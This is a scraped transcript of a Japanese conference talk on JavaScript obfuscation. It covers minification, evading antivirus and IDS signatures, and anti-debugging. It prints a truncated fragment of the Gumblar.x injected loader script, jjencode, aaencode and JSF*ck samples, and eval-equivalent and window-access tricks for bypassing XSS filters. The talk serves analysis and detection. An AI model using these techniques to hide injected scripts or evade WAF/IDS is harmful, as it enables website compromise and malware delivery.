1 / 34

難読化 JavaScript

難読化 JavaScript. NetAgent Co.,Ltd . Yosuke HASEGAWA. 韓国 POC2010. 韓国最大のセキュリティカンファレンス 2010 年 12 月 14 日、 15 日 参加者 200 名くらい 海外からも有名スピーカー. 韓国 POC2010. 本題 難読化 JavaScript. 難読化の理由. 圧縮の副作用として アンチウイルスや IDS のシグネイチャ回避 アンチ デバッグ. 難読化:圧縮 の副作用と して. 配信サイズの縮小 Google Closure Compiler

Download Presentation

難読化 JavaScript

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. 難読化 JavaScript NetAgentCo.,Ltd. Yosuke HASEGAWA

  2. 韓国 POC2010 • 韓国最大のセキュリティカンファレンス • 2010年12月14日、15日 • 参加者200名くらい • 海外からも有名スピーカー

  3. 韓国 POC2010

  4. 本題難読化JavaScript

  5. 難読化の理由 • 圧縮の副作用として • アンチウイルスやIDSのシグネイチャ回避 • アンチデバッグ

  6. 難読化:圧縮の副作用として • 配信サイズの縮小 • Google Closure Compiler • Yahoo! YUI Compressor • Microsoft Ajax Minifier

  7. 難読化:圧縮の副作用として

  8. 難読化:圧縮の副作用として

  9. 難読化:圧縮の副作用として • 圧縮されたJavaScriptのデバッグ • deminifyツールはいろいろ • FiddlerでdeminifiedJSを返す • Webブラウザのデバッガで解析

  10. 難読化:シグネイチャの回避 • パターンマッチの回避が目的 • 容易に亜種を生成 • 「解析のしにくさ」は副次的? • Gumblar、Gumblar.xなど

  11. 難読化 : Gumblar.x <script>/*GNU GPL*/ try{ window.onload = function(){ varIf0y2m9d6n3gx = document.createElement( 's)(c&&r&i@&$p(t))@&@....' .replace( /&|\(|@|#|\!|\$|\^|\)/ig, '')); If0y2m9d6n3gx.setAttribute('type', 't$&&^e$)#x@(#@t^/^@#)j&^@a$!&^)v$a(!$!s $$$c^r@))i$@p^@)t^!!$' .replace(/&|#|\)|\!|@|\^|\$|\(/ig, '')); If0y2m9d6n3gx.setAttribute('src', 'h&(t##t(^@p&$$:#@^/$)($/#!) … (.@c)o!$$m!!(/(' .replace(/\$|#|\^|@|\(|&|\)|\!/ig, ''));

  12. 難読化:Gumblar • 文字列リテラルに記号を挿入 • ‘文$字#%列’.replace( /記号/, '' ); • 機械的に生成可能 • 変数名が長い • var If0y2m9d6n3gx, Jydcftfn0k ; • 英数字のみ? 

  13. 難読化 : Gumblar.x • パターンマッチでない検出アプローチ • 文字の出現頻度a-zA-Z0-9と &#)!@^$(の割合 • Gumblar : 30% - 55%jQuery : 87% Twitter : 88%

  14. 難読化:シグネイチャの回避 • 特定サイトのWAF/IDSの回避が目的 • 一撃必殺? 一期一会? • 亜種の生成は不要 • あまり知りません ^^; • 最終的には<script> <iframe>などを挿入

  15. 難読化 : アンチデバッグ • 解析しにくいコード • ブラウザ依存でも可? • 趣味の世界 • jjencode, aaencode, JSF*ck

  16. jjencode $=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",\\"+$.$__+$.___+"\\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\")"+"\"")())(); http://utf-8.jp/public/jjencode.html

  17. aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); http://utf-8.jp/public/aaencode.html

  18. JSF*ck (+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+!+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])() http://utf-8.jp/public/jsfuck.html

  19. jjencodeによる攻撃 • http://www.malwaredomainlist.com/forums/index.php?topic=4354.0 • http://extraexploit.blogspot.com/2010/10/dollars-javascript-code-yet-another.html

  20. jjencodeによる攻撃 • 現実的には攻撃には不向き • 亜種の生成が困難 • IE7以下で動作しない • 「エンコード」なのでデコードが簡単 • 文字種から容易に検出可能

  21. 難読化の技法いろいろ • 変数の使いまわし、ロジックの裁断 • ヘタクソなプログラムと一緒 • 単純にノイズを埋め込む • JavaScriptの柔軟性を利用 • window["alert"](1) • eval("alert(1)")

  22. 難読化の技法 : 数値の生成 • 数値を使わないコードの記述が可能に • 数値でないものに演算子を適用"2" * "3" // 6+[] -~NaN // 0 - -1 == 1""^"" // 0 xor 0 == 0

  23. 難読化の技法 : 論理値の生成 • true / false を直接記述しないコードが可能に • 論理値でないものに論理演算子を適用![] // false""=='' // true[]<{} // true

  24. 難読化の技法 : 文字列の生成 • 8進数、16進数で表記"\101\x42" • JS or ブラウザのエスケープ関数unescape("%41%42")String.fromCharCode(0x41,0x42)atob("QUI=")

  25. 難読化の技法 : 文字列の生成 • 文字列でないものに文字列演算子を適用で、string にキャスト{}+"" //"[object Object]"[]+![] // "false"[]["$"]+"" // "undefined" • 配列形式で1文字取り出し([]+![])[ 0 ]// 'f'

  26. 難読化の技法 : 文字列の操作 • 文字の切り出し"abcd"[ 0 ] • 引用符を使わないリテラル文字列/ABCD/.source // 正規表現<>ABCD</> // E4X FF

  27. 難読化の技法 : 文字列の操作 • 文字の連結"A".concat("B")["A","B"].join().replace(/,/g,"")<>{"A"}{"B"}</a>// E4X FF

  28. 難読化の技法 : 文字列を実行 • DOM経由write("<script>...</script>") • JS内でevaleval( "alert(1)" )

  29. 難読化の技法 : 文字列を実行 • eval相当の機能 • setTimeout("alert(1)", 0 ) • Function("alert(1)")() • Number.constructor("alert(1)")() • execScript("alert(1)", "jscript") //IE

  30. 難読化の技法 : 文字列を実行 • eval相当の機能 • crypto.generateCRMFRequest( 'CN=0', 0, 0, null,'alert(1)', 384,null,'rsa-dual-use') // FF • execScript("#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@","jscript.encode") // IE

  31. 難読化の技法 : windowの取得 window["alert"](1) window["eval"]("alert(1)")

  32. 難読化の技法 : windowの取得 window, self, this, top, parent x=''.split,x(null) Date.constructor('return this')() (0,[].sort)()

  33. 難読化の技法 : 将来… • ブラウザ依存の積極的活用 • 主ターゲットを絞る、ブラウザごとに違うexploit等 • アンチデバッガ • WebWorkersが利用可能

  34. 参考資料 • Our Favorite XSS Filters/IDSand how to Attack Themhttp://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf • JavaScript From Hellhttp://proidea.maszyna.pl/CONFidence09/2/CONFidence2009_mario_heiderich.pdf • sla.ckers.org web application security forum :: XSS Infohttp://sla.ckers.org/forum/list.php?2 • sla.ckers.org web application security forum :: Obfuscationhttp://sla.ckers.org/forum/list.php?24

More Related